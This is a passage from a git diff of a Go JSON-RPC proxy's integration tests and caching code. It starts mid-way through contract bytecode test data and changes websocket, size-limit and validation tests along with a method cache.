5050609b54949350505050565b80609f5410156138ee575050609f54949350505050565b93506138f992505050565b919050565b6099546001600160a01b031633148061392057506099546001600160a01b0316155b61396c5760405162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e657200000000000000000060448201526064016108c4565b6001600160a01b0381166139e75760405162461bcd60e51b8152602060048201526024808201527f4e6577206f776e65722063616e6e6f7420626520746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016108c4565b609980547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163906020015b60405180910390a150565b609d5464010000000090046001600160a01b03163314613ab65760405162461bcd60e51b815260206004820152601560248201527f43616c6c6572206973206e6f74207468652044414f000000000000000000000060448201526064016108c4565b6001600160a01b038116613b325760405162461bcd60e51b815260206004820152602a60248201527f4e65772044414f20616464726573732063616e6e6f7420626520746865207a6560448201527f726f20616464726573730000000000000000000000000000000000000000000060648201526084016108c4565b609d80547fffffffffffffffff0000000000000000000000000000000000000000ffffffff166401000000006001600160a01b038416908102919091179091556040519081527fcbd426f7d93b6fa3ff268c099102ab716488e9831c27880216aea6c689da297d90602001613a49565b6000613bae8284614f17565b9392505050565b6000613bae8284614e9f565b6000613bae8284614edc565b6000613bae8284614f2e565b6040516001600160a01b03808516602483015283166044820152606481018290526119029085907f23b872dd00000000000000000000000000000000000000000000000000000000906084015b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529190526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff00000000000000000000000000000000000000000000000000000000909316929092179091526148fc565b6000546040517f3dbb202b0000000000000000000000000000000000000000000000000000000081526001600160a01b0390911690633dbb202b90613cf590869085908790600401614fbc565b600060405180830381600087803b158015613d0f57600080fd5b505af1158015611f3b573d6000803e3d6000fd5b60655460ff16613d755760405162461bcd60e51b815260206004820152601460248201527f5061757361626c653a206e6f742070617573656400000000000000000000000060448201526064016108c4565b606580547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b6000547501000000000000000000000000000000000000000000900460ff1680613e22575060005474010000000000000000000000000000000000000000900460ff16155b613e945760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a656400000000000000000000000000000000000060648201526084016108c4565b6000547501000000000000000000000000000000000000000000900460ff16158015613efb57600080547fffffffffffffffffffff0000ffffffffffffffffffffffffffffffffffffffff1675010100000000000000000000000000000000000000001790555b8015613f2a57600080547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff1690555b50565b6000547501000000000000000000000000000000000000000000900460ff1680613f72575060005474010000000000000000000000000000000000000000900460ff16155b613fe45760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a656400000000000000000000000000000000000060648201526084016108c4565b6000547501000000000000000000000000000000000000000000900460ff1615801561404b57600080547fffffffffffffffffffff0000ffffffffffffffffffffffffffffffffffffffff1675010100000000000000000000000000000000000000001790555b606580547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690558015613f2a57600080547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff16905550565b6000547501000000000000000000000000000000000000000000900460ff16806140e9575060005474010000000000000000000000000000000000000000900460ff16155b61415b5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a656400000000000000000000000000000000000060648201526084016108c4565b6000547501000000000000000000000000000000000000000000900460ff161580156141c257600080547fffffffffffffffffffff0000ffffffffffffffffffffffffffffffffffffffff1675010100000000000000000000000000000000000000001790555b600180558015613f2a57600080547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff16905550565b6040516001600160a01b038316602482015260448101829052611c449084907fa9059cbb0000000000000000000000000000000000000000000000000000000090606401613c26565b33600090815260a2602052604090205460ff1615801561426d575060a1546001600160a01b038281169116145b8015614283575060a1546001600160a01b031615155b15613f2a576001600160a01b038116600090815260986020908152604080832033845290915290208054156143335760a05481546040517f40c10f1900000000000000000000000000000000000000000000000000000000815233600482015260248101919091526001600160a01b03909116906340c10f1990604401600060405180830381600087803b15801561431a57600080fd5b505af115801561432e573d6000803e3d6000fd5b505050505b5033600090815260a26020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016600117905550565b60a1546001600160a01b038281169116148015614396575060a1546001600160a01b031615155b15610a265760a0546040517f9dc29fac000000000000000000000000000000000000000000000000000000008152336004820152602481018490526001600160a01b0390911690639dc29fac906044015b600060405180830381600087803b15801561440157600080fd5b505af1158015611f3d573d6000803e3d6000fd5b60655460ff16156144685760405162461bcd60e51b815260206004820152601060248201527f5061757361626c653a207061757365640000000000000000000000000000000060448201526064016108c4565b606580547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258613dc03390565b6001600160a01b0380821660009081526097602052604081206001810154919290911661452a5760405162461bcd60e51b815260206004820152601c60248201527f546f6b656e2041646472657373204e6f7420526567697374657265640000000060448201526064016108c4565b60006145358461373a565b905060006145496103e8610a038885613bb5565b905060006145686103e8610a03609c548a613bb590919063ffffffff16565b905060006145768383613bcd565b905060006145848983613ba2565b90506001600160a01b0388167342000000000000000000000000000000000000061461468b576040517f70a082310000000000000000000000000000000000000000000000000000000081523060048201526001600160a01b038916906370a082319060240160206040518083038186803b15801561460257600080fd5b505afa158015614616573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061463a9190614d40565b81111561464a576001965061476c565b60048601546146599085613bcd565b6004870155600686015461466d9084613bcd565b60068701556146866001600160a01b0389168b836141f7565b61476c565b4781111561469c576001965061476c565b60048601546146ab9085613bcd565b600487015560068601546146bf9084613bcd565b60068701556040516000906001600160a01b038c16906108fc90849084818181858888f193505050503d8060008114614714576040519150601f19603f3d011682016040523d82523d6000602084013e614719565b606091505b505090508061476a5760405162461bcd60e51b815260206004820152601660248201527f4661696c656420746f2073656e64206f766d5f4574680000000000000000000060448201526064016108c4565b505b8615614815578554604080516001600160a01b038d81166024830152604482018d90529283166064808301919091528251808303909101815260849091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f53174cc100000000000000000000000000000000000000000000000000000000179052609a54609d54919261480f9291169063ffffffff16610eff565b506123a3565b604080516001600160a01b038c811682526020820184905281830187905260608201869052608082018590528a1660a082015290517fedb4d3b4b55168608412f15db11c00859915842963c31b1f08d910a38e1d6aa49181900360c00190a150505050505050505050565b60a1546001600160a01b0382811691161480156148a7575060a1546001600160a01b031615155b15610a265760a0546040517f40c10f19000000000000000000000000000000000000000000000000000000008152336004820152602481018490526001600160a01b03909116906340c10f19906044016143e7565b6000614951826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166149e19092919063ffffffff16565b805190915015611c44578080602001905181019061496f9190614ff4565b611c445760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60448201527f6f7420737563636565640000000000000000000000000000000000000000000060648201526084016108c4565b60606149f084846000856149f8565b949350505050565b606082471015614a705760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f60448201527f722063616c6c000000000000000000000000000000000000000000000000000060648201526084016108c4565b843b614abe5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016108c4565b600080866001600160a01b03168587604051614ada9190615016565b60006040518083038185875af1925050503d8060008114614b17576040519150601f19603f3d011682016040523d82523d6000602084013e614b1c565b606091505b5091509150614b2c828286614b37565b979650505050505050565b60608315614b46575081613bae565b825115614b565782518084602001fd5b8160405162461bcd60e51b81526004016108c49190615032565b6001600160a01b0381168114613f2a57600080fd5b60008060408385031215614b9857600080fd5b8235614ba381614b70565b91506020830135614bb381614b70565b809150509250929050565b600060208284031215614bd057600080fd5b8135613bae81614b70565b60008060408385031215614bee57600080fd5b823591506020830135614bb381614b70565b600060208284031215614c1257600080fd5b813563ffffffff81168114613bae57600080fd5b600080600060608486031215614c3b57600080fd5b505081359360208301359350604090920135919050565b600080600060608486031215614c6757600080fd5b833592506020840135614c7981614b70565b91506040840135614c8981614b70565b809150509250925092565b600080600060608486031215614ca957600080fd5b8335614cb481614b70565b9250602084013591506040840135614c8981614b70565b60008060208385031215614cde57600080fd5b823567ffffffffffffffff80821115614cf657600080fd5b818501915085601f830112614d0a57600080fd5b813581811115614d1957600080fd5b866020606083028501011115614d2e57600080fd5b60209290920196919550909350505050565b600060208284031215614d5257600080fd5b5051919050565b600060208284031215614d6b57600080fd5b8151613bae81614b70565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600060608284031215614db757600080fd5b6040516060810181811067ffffffffffffffff82111715614e01577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040528235614e0f81614b70565b81526020830135614e1f81614b70565b60208201526040928301359281019290925250919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614e9857614e98614e37565b5060010190565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614ed757614ed7614e37565b500290565b600082614f12577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b600082821015614f2957614f29614e37565b500390565b60008219821115614f4157614f41614e37565b500190565b60005b83811015614f61578181015183820152602001614f49565b838111156119025750506000910152565b60008151808452614f8a816020860160208601614f46565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b6001600160a01b0384168152606060208201526000614fde6060830185614f72565b905063ffffffff83166040830152949350505050565b60006020828403121561500657600080fd5b81518015158114613bae57600080fd5b60008251615028818460208701614f46565b9190910192915050565b602081526000613bae6020830184614f7256fea164736f6c6343000809000a820264a0c19e5fab427069537b1b8d5dee0fe85024a7f4bb79ba1f3d2252ef597c05226ea037d06312f23acb8038ca26702a0e709331830e3b7b91e3e1a82ddb18f2a05fdd"}|{"jsonrpc":"2.0","error":{"code":-32013,"message":"backend returned an invalid response"},"id":null} diff --git a/go/proxyd/integration_tests/util_test.go b/go/proxyd/integration_tests/util_test.go index 0b2e2daf49..db52d2f43b 100644 --- a/go/proxyd/integration_tests/util_test.go +++ b/go/proxyd/integration_tests/util_test.go @@ -7,7 +7,6 @@ import ( "io" "net/http" "os" - "sync" "testing" "time" @@ -123,7 +122,6 @@ type ProxydWSClient struct { conn *websocket.Conn msgCB ProxydWSClientOnMessage closeCB ProxydWSClientOnClose - mu sync.Mutex } type WSMessage struct { @@ -136,11 +134,10 @@ type ProxydWSClientOnClose func(err error) func NewProxydWSClient( url string, - header http.Header, msgCB ProxydWSClientOnMessage, closeCB ProxydWSClientOnClose, ) (*ProxydWSClient, error) { - conn, _, err := websocket.DefaultDialer.Dial(url, header) // nolint:bodyclose + conn, _, err := websocket.DefaultDialer.Dial(url, nil) // nolint:bodyclose if err != nil { return nil, err } @@ -178,8 +175,6 @@ func (h *ProxydWSClient) SoftClose() error { } func (h *ProxydWSClient) WriteMessage(msgType int, msg []byte) error { - h.mu.Lock() - defer h.mu.Unlock() return h.conn.WriteMessage(msgType, msg) } diff --git a/go/proxyd/integration_tests/validation_test.go b/go/proxyd/integration_tests/validation_test.go index e1e491162f..5f7d5aefac 100644 --- a/go/proxyd/integration_tests/validation_test.go +++ b/go/proxyd/integration_tests/validation_test.go @@ -1,6 +1,7 @@ package integration_tests import ( + "fmt" "os" "strings" "testing" @@ -10,14 +11,12 @@ import ( ) const ( - notWhitelistedResponse = `{"jsonrpc":"2.0","error":{"code":-32001,"message":"rpc method is not whitelisted custom message"},"id":999}` - parseErrResponse = `{"jsonrpc":"2.0","error":{"code":-32700,"message":"parse error"},"id":null}` - invalidJSONRPCVersionResponse = `{"error":{"code":-32600,"message":"invalid JSON-RPC version"},"id":null,"jsonrpc":"2.0"}` - invalidIDResponse = `{"error":{"code":-32600,"message":"invalid ID"},"id":null,"jsonrpc":"2.0"}` - invalidMethodResponse = `{"error":{"code":-32600,"message":"no method specified"},"id":null,"jsonrpc":"2.0"}` - invalidBatchLenResponse = `{"error":{"code":-32600,"message":"must specify at least one batch call"},"id":null,"jsonrpc":"2.0"}` - invalidRateLimitResponse = `{"jsonrpc":"2.0","error":{"code":-32000,"message":"over rate limit with special message"},"id":1}` - invalidSenderRateLimitResponse = `{"jsonrpc":"2.0","error":{"code":-32017,"message":"sender is over rate limit"},"id":1}` + notWhitelistedResponse = `{"jsonrpc":"2.0","error":{"code":-32001,"message":"rpc method is not whitelisted custom message"},"id":999}` + parseErrResponse = `{"jsonrpc":"2.0","error":{"code":-32700,"message":"parse error"},"id":null}` + invalidJSONRPCVersionResponse = `{"error":{"code":-32600,"message":"invalid JSON-RPC version"},"id":null,"jsonrpc":"2.0"}` + invalidIDResponse = `{"error":{"code":-32600,"message":"invalid ID"},"id":null,"jsonrpc":"2.0"}` + invalidMethodResponse = `{"error":{"code":-32600,"message":"no method specified"},"id":null,"jsonrpc":"2.0"}` + invalidBatchLenResponse = `{"error":{"code":-32600,"message":"must specify at least one batch call"},"id":null,"jsonrpc":"2.0"}` ) func TestSingleRPCValidation(t *testing.T) { @@ -28,7 +27,7 @@ func TestSingleRPCValidation(t *testing.T) { config := ReadConfig("whitelist") client := NewProxydClient("http://127.0.0.1:8545") - shutdown, err := proxyd.Start(config) + _, shutdown, err := proxyd.Start(config) require.NoError(t, err) defer shutdown() @@ -112,7 +111,7 @@ func TestBatchRPCValidation(t *testing.T) { config := ReadConfig("whitelist") client := NewProxydClient("http://127.0.0.1:8545") - shutdown, err := proxyd.Start(config) + _, shutdown, err := proxyd.Start(config) require.NoError(t, err) defer shutdown() @@ -229,6 +228,31 @@ func TestBatchRPCValidation(t *testing.T) { } } +func TestSizeLimits(t *testing.T) { + goodBackend := NewMockBackend(BatchedResponseHandler(200, goodResponse)) + defer goodBackend.Close() + + require.NoError(t, os.Setenv("GOOD_BACKEND_RPC_URL", goodBackend.URL())) + + config := ReadConfig("size_limits") + client := NewProxydClient("http://127.0.0.1:8545") + _, shutdown, err := proxyd.Start(config) + require.NoError(t, err) + defer shutdown() + + payload := strings.Repeat("barf", 1024*1024) + out, code, err := client.SendRequest([]byte(fmt.Sprintf(`{"jsonrpc": "2.0", "method": "eth_chainId", "params": [%s], "id": 1}`, payload))) + require.NoError(t, err) + require.Equal(t, `{"jsonrpc":"2.0","error":{"code":-32021,"message":"request body too large"},"id":null}`, strings.TrimSpace(string(out))) + require.Equal(t, 413, code) + + // The default response is already over the size limit in size_limits.toml. + out, code, err = client.SendRequest([]byte(`{"jsonrpc": "2.0", "method": "eth_chainId", "params": [], "id": 1}`)) + require.NoError(t, err) + require.Equal(t, `{"jsonrpc":"2.0","error":{"code":-32020,"message":"backend response too large"},"id":1}`, strings.TrimSpace(string(out))) + require.Equal(t, 500, code) +} + func asArray(in ...string) string { return "[" + strings.Join(in, ",") + "]" } diff --git a/go/proxyd/integration_tests/ws_test.go b/go/proxyd/integration_tests/ws_test.go index 238c06d6a4..bd41991fdf 100644 --- a/go/proxyd/integration_tests/ws_test.go +++ b/go/proxyd/integration_tests/ws_test.go @@ -1,8 +1,6 @@ package integration_tests import ( - "bufio" - "net/http" "os" "strings" "sync" @@ -10,9 +8,8 @@ import ( "testing" "time" - "github.com/ethereum/go-ethereum/log" - "github.com/ethereum-optimism/optimism/proxyd" + "github.com/ethereum/go-ethereum/log" "github.com/gorilla/websocket" "github.com/stretchr/testify/require" ) @@ -41,9 +38,9 @@ func TestConcurrentWSPanic(t *testing.T) { require.NoError(t, os.Setenv("GOOD_BACKEND_RPC_URL", backend.URL())) config := ReadConfig("ws") - shutdown, err := proxyd.Start(config) + _, shutdown, err := proxyd.Start(config) require.NoError(t, err) - client, err := NewProxydWSClient("ws://127.0.0.1:8546", nil, nil, nil) + client, err := NewProxydWSClient("ws://127.0.0.1:8546", nil, nil) require.NoError(t, err) defer shutdown() @@ -150,33 +147,79 @@ func TestWS(t *testing.T) { require.NoError(t, os.Setenv("GOOD_BACKEND_RPC_URL", backend.URL())) config := ReadConfig("ws") - shutdown, err := proxyd.Start(config) + _, shutdown, err := proxyd.Start(config) require.NoError(t, err) - defer shutdown() - - client, err := NewProxydWSClient("ws://127.0.0.1:8546", nil, func(msgType int, data []byte) { + client, err := NewProxydWSClient("ws://127.0.0.1:8546", func(msgType int, data []byte) { clientHdlr.MsgCB(msgType, data) }, nil) defer client.HardClose() require.NoError(t, err) + defer shutdown() - f, err := os.Open("testdata/ws_testdata.txt") - require.NoError(t, err) - defer f.Close() - - scanner := bufio.NewScanner(f) - scanner.Scan() // skip header - for scanner.Scan() { - record := strings.Split(scanner.Text(), "|") - name, body, responseBody, expResponseBody := record[0], record[1], record[2], record[3] - if expResponseBody == "" { - expResponseBody = responseBody - } - require.NoError(t, err) - t.Run(name, func(t *testing.T) { - res := spamWSReqs(t, clientHdlr, backendHdlr, client, []byte(body), []byte(responseBody), 1) - require.NoError(t, err) - require.Equal(t, 1, res[expResponseBody]) + tests := []struct { + name string + backendRes string + expRes string + clientReq string + }{ + { + "ok response", + "{\"jsonrpc\":\"2.0\",\"id\":1,\"result\":\"0xcd0c3e8af590364c09d0fa6a1210faf5\"}", + "{\"jsonrpc\":\"2.0\",\"id\":1,\"result\":\"0xcd0c3e8af590364c09d0fa6a1210faf5\"}", + "{\"id\": 1, \"method\": \"eth_subscribe\", \"params\": [\"newHeads\"]}", + }, + { + "garbage backend response", + "gibblegabble", + "{\"jsonrpc\":\"2.0\",\"error\":{\"code\":-32013,\"message\":\"backend returned an invalid response\"},\"id\":null}", + "{\"id\": 1, \"method\": \"eth_subscribe\", \"params\": [\"newHeads\"]}", + }, + { + "blacklisted RPC", + "}", + "{\"jsonrpc\":\"2.0\",\"error\":{\"code\":-32001,\"message\":\"rpc method is not whitelisted\"},\"id\":1}", + "{\"id\": 1, \"method\": \"eth_whatever\", \"params\": []}", + }, + { + "garbage client request", + "{}", + "{\"jsonrpc\":\"2.0\",\"error\":{\"code\":-32700,\"message\":\"parse error\"},\"id\":null}", + "barf", + }, + { + "invalid client request", + "{}", + "{\"jsonrpc\":\"2.0\",\"error\":{\"code\":-32700,\"message\":\"parse error\"},\"id\":null}", + "{\"jsonrpc\": \"2.0\", \"method\": true}", + }, + { + "eth_accounts", + "{}", + "{\"jsonrpc\":\"2.0\",\"result\":[],\"id\":1}", + "{\"jsonrpc\": \"2.0\", \"method\": \"eth_accounts\", \"id\": 1}", + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + timeout := time.NewTicker(10 * time.Second) + doneCh := make(chan struct{}, 1) + backendHdlr.SetMsgCB(func(conn *websocket.Conn, msgType int, data []byte) { + require.NoError(t, conn.WriteMessage(websocket.TextMessage, []byte(tt.backendRes))) + }) + clientHdlr.SetMsgCB(func(msgType int, data []byte) { + require.Equal(t, tt.expRes, string(data)) + doneCh <- struct{}{} + }) + require.NoError(t, client.WriteMessage( + websocket.TextMessage, + []byte(tt.clientReq), + )) + select { + case <-timeout.C: + t.Fatalf("timed out") + case <-doneCh: + return + } }) } } @@ -195,13 +238,13 @@ func TestWSClientClosure(t *testing.T) { require.NoError(t, os.Setenv("GOOD_BACKEND_RPC_URL", backend.URL())) config := ReadConfig("ws") - shutdown, err := proxyd.Start(config) + _, shutdown, err := proxyd.Start(config) require.NoError(t, err) defer shutdown() for _, closeType := range []string{"soft", "hard"} { t.Run(closeType, func(t *testing.T) { - client, err := NewProxydWSClient("ws://127.0.0.1:8546", nil, func(msgType int, data []byte) { + client, err := NewProxydWSClient("ws://127.0.0.1:8546", func(msgType int, data []byte) { clientHdlr.MsgCB(msgType, data) }, nil) require.NoError(t, err) @@ -228,112 +271,7 @@ func TestWSClientClosure(t *testing.T) { } } -func TestWSClientMaxConns(t *testing.T) { - backend := NewMockWSBackend(nil, nil, nil) - defer backend.Close() - - require.NoError(t, os.Setenv("GOOD_BACKEND_RPC_URL", backend.URL())) - - config := ReadConfig("ws") - shutdown, err := proxyd.Start(config) - require.NoError(t, err) - defer shutdown() - - doneCh := make(chan struct{}, 1) - _, err = NewProxydWSClient("ws://127.0.0.1:8546", nil, nil, nil) - require.NoError(t, err) - _, err = NewProxydWSClient("ws://127.0.0.1:8546", nil, nil, func(err error) { - require.Contains(t, err.Error(), "unexpected EOF") - doneCh <- struct{}{} - }) - require.NoError(t, err) - - timeout := time.NewTicker(30 * time.Second) - select { - case <-timeout.C: - t.Fatalf("timed out") - case <-doneCh: - return - } -} - -var sampleRequest = []byte("{\"jsonrpc\": \"2.0\", \"method\": \"eth_accounts\", \"id\": 1}") - -func TestWSClientMaxRPSLimit(t *testing.T) { - backendHdlr := new(backendHandler) - clientHdlr := new(clientHandler) - - backend := NewMockWSBackend(nil, func(conn *websocket.Conn, msgType int, data []byte) { - backendHdlr.MsgCB(conn, msgType, data) - }, func(conn *websocket.Conn, err error) { - backendHdlr.CloseCB(conn, err) - }) - defer backend.Close() - - require.NoError(t, os.Setenv("GOOD_BACKEND_RPC_URL", backend.URL())) - - config := ReadConfig("ws_frontend_rate_limit") - shutdown, err := proxyd.Start(config) - require.NoError(t, err) - defer shutdown() - - t.Run("non-exempt over limit", func(t *testing.T) { - client, err := NewProxydWSClient("ws://127.0.0.1:8546", nil, func(msgType int, data []byte) { - clientHdlr.MsgCB(msgType, data) - }, nil) - defer client.HardClose() - require.NoError(t, err) - res := spamWSReqs(t, clientHdlr, backendHdlr, client, sampleRequest, []byte(""), 4) - require.Equal(t, 3, res[invalidRateLimitResponse]) - }) - - t.Run("exempt user agent over limit", func(t *testing.T) { - h := make(http.Header) - h.Set("User-Agent", "exempt_agent") - client, err := NewProxydWSClient("ws://127.0.0.1:8546", h, func(msgType int, data []byte) { - clientHdlr.MsgCB(msgType, data) - }, nil) - defer client.HardClose() - require.NoError(t, err) - res := spamWSReqs(t, clientHdlr, backendHdlr, client, sampleRequest, []byte(""), 4) - require.Equal(t, 0, res[invalidRateLimitResponse]) - }) - - t.Run("exempt origin over limit", func(t *testing.T) { - h := make(http.Header) - // In gorilla/websocket, the Origin header must be the same as the URL. - // Otherwise, it will be rejected - h.Set("Origin", "wss://127.0.0.1:8546") - client, err := NewProxydWSClient("ws://127.0.0.1:8546", h, func(msgType int, data []byte) { - clientHdlr.MsgCB(msgType, data) - }, nil) - defer client.HardClose() - require.NoError(t, err) - res := spamWSReqs(t, clientHdlr, backendHdlr, client, sampleRequest, []byte(""), 4) - require.Equal(t, 0, res[invalidRateLimitResponse]) - }) - - t.Run("multiple xff", func(t *testing.T) { - h1 := make(http.Header) - h1.Set("X-Forwarded-For", "1.1.1.1") - h2 := make(http.Header) - h2.Set("X-Forwarded-For", "2.2.2.2") - client1, _ := NewProxydWSClient("ws://127.0.0.1:8546", h1, func(msgType int, data []byte) { - clientHdlr.MsgCB(msgType, data) - }, nil) - defer client1.HardClose() - client2, _ := NewProxydWSClient("ws://127.0.0.1:8546", h2, func(msgType int, data []byte) { - clientHdlr.MsgCB(msgType, data) - }, nil) - defer client2.HardClose() - res1 := spamWSReqs(t, clientHdlr, backendHdlr, client1, sampleRequest, []byte(""), 4) - res2 := spamWSReqs(t, clientHdlr, backendHdlr, client2, sampleRequest, []byte(""), 4) - require.Equal(t, 3, res1[invalidRateLimitResponse]) - require.Equal(t, 3, res2[invalidRateLimitResponse]) - }) -} - -func TestWSSenderRateLimitLimiting(t *testing.T) { +func TestWSClientExceedReadLimit(t *testing.T) { backendHdlr := new(backendHandler) clientHdlr := new(clientHandler) @@ -346,55 +284,34 @@ func TestWSSenderRateLimitLimiting(t *testing.T) { require.NoError(t, os.Setenv("GOOD_BACKEND_RPC_URL", backend.URL())) - config := ReadConfig("ws_sender_rate_limit") - shutdown, err := proxyd.Start(config) + config := ReadConfig("ws") + _, shutdown, err := proxyd.Start(config) require.NoError(t, err) defer shutdown() - // Two separate requests from the same sender - // should be rate limited. - client, err := NewProxydWSClient("ws://127.0.0.1:8546", nil, func(msgType int, data []byte) { + client, err := NewProxydWSClient("ws://127.0.0.1:8546", func(msgType int, data []byte) { clientHdlr.MsgCB(msgType, data) }, nil) - defer client.HardClose() require.NoError(t, err) - res := spamWSReqs(t, clientHdlr, backendHdlr, client, makeSendRawTransaction(txHex1), []byte(""), 4) - require.Equal(t, 3, res[invalidSenderRateLimitResponse]) - - // Clear the limiter. - time.Sleep(1100 * time.Millisecond) - - // Two separate requests from different senders - // should not be rate limited. - res1 := spamWSReqs(t, clientHdlr, backendHdlr, client, makeSendRawTransaction(txHex1), []byte(""), 4) - res2 := spamWSReqs(t, clientHdlr, backendHdlr, client, makeSendRawTransaction(txHex2), []byte(""), 4) - require.Equal(t, 3, res1[invalidSenderRateLimitResponse]) - require.Equal(t, 3, res2[invalidSenderRateLimitResponse]) -} -func spamWSReqs(t *testing.T, clientHdlr *clientHandler, backendHdlr *backendHandler, client *ProxydWSClient, request []byte, response []byte, n int) map[string]int { - resCh := make(chan string) - for i := 0; i < n; i++ { - go func() { - backendHdlr.SetMsgCB(func(conn *websocket.Conn, msgType int, data []byte) { - require.NoError(t, conn.WriteMessage(websocket.TextMessage, response)) - }) - clientHdlr.SetMsgCB(func(msgType int, data []byte) { - resCh <- string(data) - }) - require.NoError(t, client.WriteMessage( - websocket.TextMessage, - []byte(request), - )) - }() - } + closed := false + originalHandler := client.conn.CloseHandler() + client.conn.SetCloseHandler(func(code int, text string) error { + closed = true + return originalHandler(code, text) + }) - resMapping := make(map[string]int) - for i := 0; i < n; i++ { - res := <-resCh - response := res - resMapping[response]++ - } + backendHdlr.SetMsgCB(func(conn *websocket.Conn, msgType int, data []byte) { + t.Fatalf("backend should not get the large message") + }) + + payload := strings.Repeat("barf", 1024*1024) + clientReq := "{\"id\": 1, \"method\": \"eth_subscribe\", \"params\": [\"" + payload + "\"]}" + err = client.WriteMessage( + websocket.TextMessage, + []byte(clientReq), + ) + require.Error(t, err) + require.True(t, closed) - return resMapping } diff --git a/go/proxyd/lvc.go b/go/proxyd/lvc.go deleted file mode 100644 index 146bbce0ee..0000000000 --- a/go/proxyd/lvc.go +++ /dev/null @@ -1,87 +0,0 @@ -package proxyd - -import ( - "context" - "time" - - "github.com/ethereum/go-ethereum/ethclient" - "github.com/ethereum/go-ethereum/log" -) - -const cacheSyncRate = 1 * time.Second - -type lvcUpdateFn func(context.Context, *ethclient.Client) (string, error) - -type EthLastValueCache struct { - client *ethclient.Client - cache Cache - key string - updater lvcUpdateFn - quit chan struct{} -} - -func newLVC(client *ethclient.Client, cache Cache, cacheKey string, updater lvcUpdateFn) *EthLastValueCache { - return &EthLastValueCache{ - client: client, - cache: cache, - key: cacheKey, - updater: updater, - quit: make(chan struct{}), - } -} - -func (h *EthLastValueCache) Start() { - go func() { - ticker := time.NewTicker(cacheSyncRate) - defer ticker.Stop() - - for { - select { - case <-ticker.C: - lvcPollTimeGauge.WithLabelValues(h.key).SetToCurrentTime() - - value, err := h.getUpdate() - if err != nil { - log.Error("error retrieving latest value", "key", h.key, "error", err) - continue - } - log.Trace("polling latest value", "value", value) - - if err := h.cache.Put(context.Background(), h.key, value); err != nil { - log.Error("error writing last value to cache", "key", h.key, "error", err) - } - - case <-h.quit: - return - } - } - }() -} - -func (h *EthLastValueCache) getUpdate() (string, error) { - const maxRetries = 5 - var err error - - for i := 0; i <= maxRetries; i++ { - var value string - value, err = h.updater(context.Background(), h.client) - if err != nil { - backoff := calcBackoff(i) - log.Warn("http operation failed. retrying...", "error", err, "backoff", backoff) - lvcErrorsTotal.WithLabelValues(h.key).Inc() - time.Sleep(backoff) - continue - } - return value, nil - } - - return "", wrapErr(err, "exceeded retries") -} - -func (h *EthLastValueCache) Stop() { - close(h.quit) -} - -func (h *EthLastValueCache) Read(ctx context.Context) (string, error) { - return h.cache.Get(ctx, h.key) -} diff --git a/go/proxyd/methods.go b/go/proxyd/methods.go index 4b1731f0bc..08ea773288 100644 --- a/go/proxyd/methods.go +++ b/go/proxyd/methods.go @@ -2,16 +2,13 @@ package proxyd import ( "context" + "crypto/sha256" "encoding/json" - "errors" "fmt" + "strings" "sync" - "github.com/ethereum/go-ethereum/common/hexutil" -) - -var ( - errInvalidRPCParams = errors.New("invalid RPC params") + "github.com/ethereum/go-ethereum/log" ) type RPCMethodHandler interface { @@ -20,359 +17,35 @@ type RPCMethodHandler interface { } type StaticMethodHandler struct { - cache interface{} - m sync.RWMutex + cache Cache + m sync.RWMutex + filterGet func(*RPCReq) bool + filterPut func(*RPCReq, *RPCRes) bool } -func (e *StaticMethodHandler) GetRPCMethod(ctx context.Context, req *RPCReq) (*RPCRes, error) { - e.m.RLock() - cache := e.cache - e.m.RUnlock() - - if cache == nil { - return nil, nil - } - return &RPCRes{ - JSONRPC: req.JSONRPC, - Result: cache, - ID: req.ID, - }, nil +func (e *StaticMethodHandler) key(req *RPCReq) string { + // signature is the hashed json.RawMessage param contents + h := sha256.New() + h.Write(req.Params) + signature := fmt.Sprintf("%x", h.Sum(nil)) + return strings.Join([]string{"cache", req.Method, signature}, ":") } -func (e *StaticMethodHandler) PutRPCMethod(ctx context.Context, req *RPCReq, res *RPCRes) error { - e.m.Lock() +func (e *StaticMethodHandler) GetRPCMethod(ctx 